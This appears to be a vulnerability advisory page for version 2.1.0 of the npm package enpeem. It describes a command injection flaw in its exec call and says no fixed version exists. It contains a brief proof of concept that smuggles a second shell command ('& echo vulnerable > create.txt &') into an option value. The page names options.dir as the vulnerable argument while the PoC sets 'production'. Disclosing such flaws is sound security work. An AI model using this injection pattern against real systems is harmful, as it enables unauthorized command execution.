enpeem@2.1.0 vulnerabilities

Lightweight wrapper for accessing npm programmatically (alternative to adding `npm` as a dependency)

Direct Vulnerabilities

Known vulnerabilities in the enpeem package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Command Injection

enpeem is a lightweight wrapper for accessing npm programmatically (alternative to adding npm as a dependency)

Affected versions of this package are vulnerable to Command Injection. The options.dir argument is provided to the exec function without any sanitization.

PoC By JHU System Security Lab

var root = require("enpeem");
var attack_code = "& echo vulnerable > create.txt &";
var opts = {
  "production": attack_code
}
root.update(opts, function(){});

How to fix Command Injection?

There is no fixed version for enpeem.

*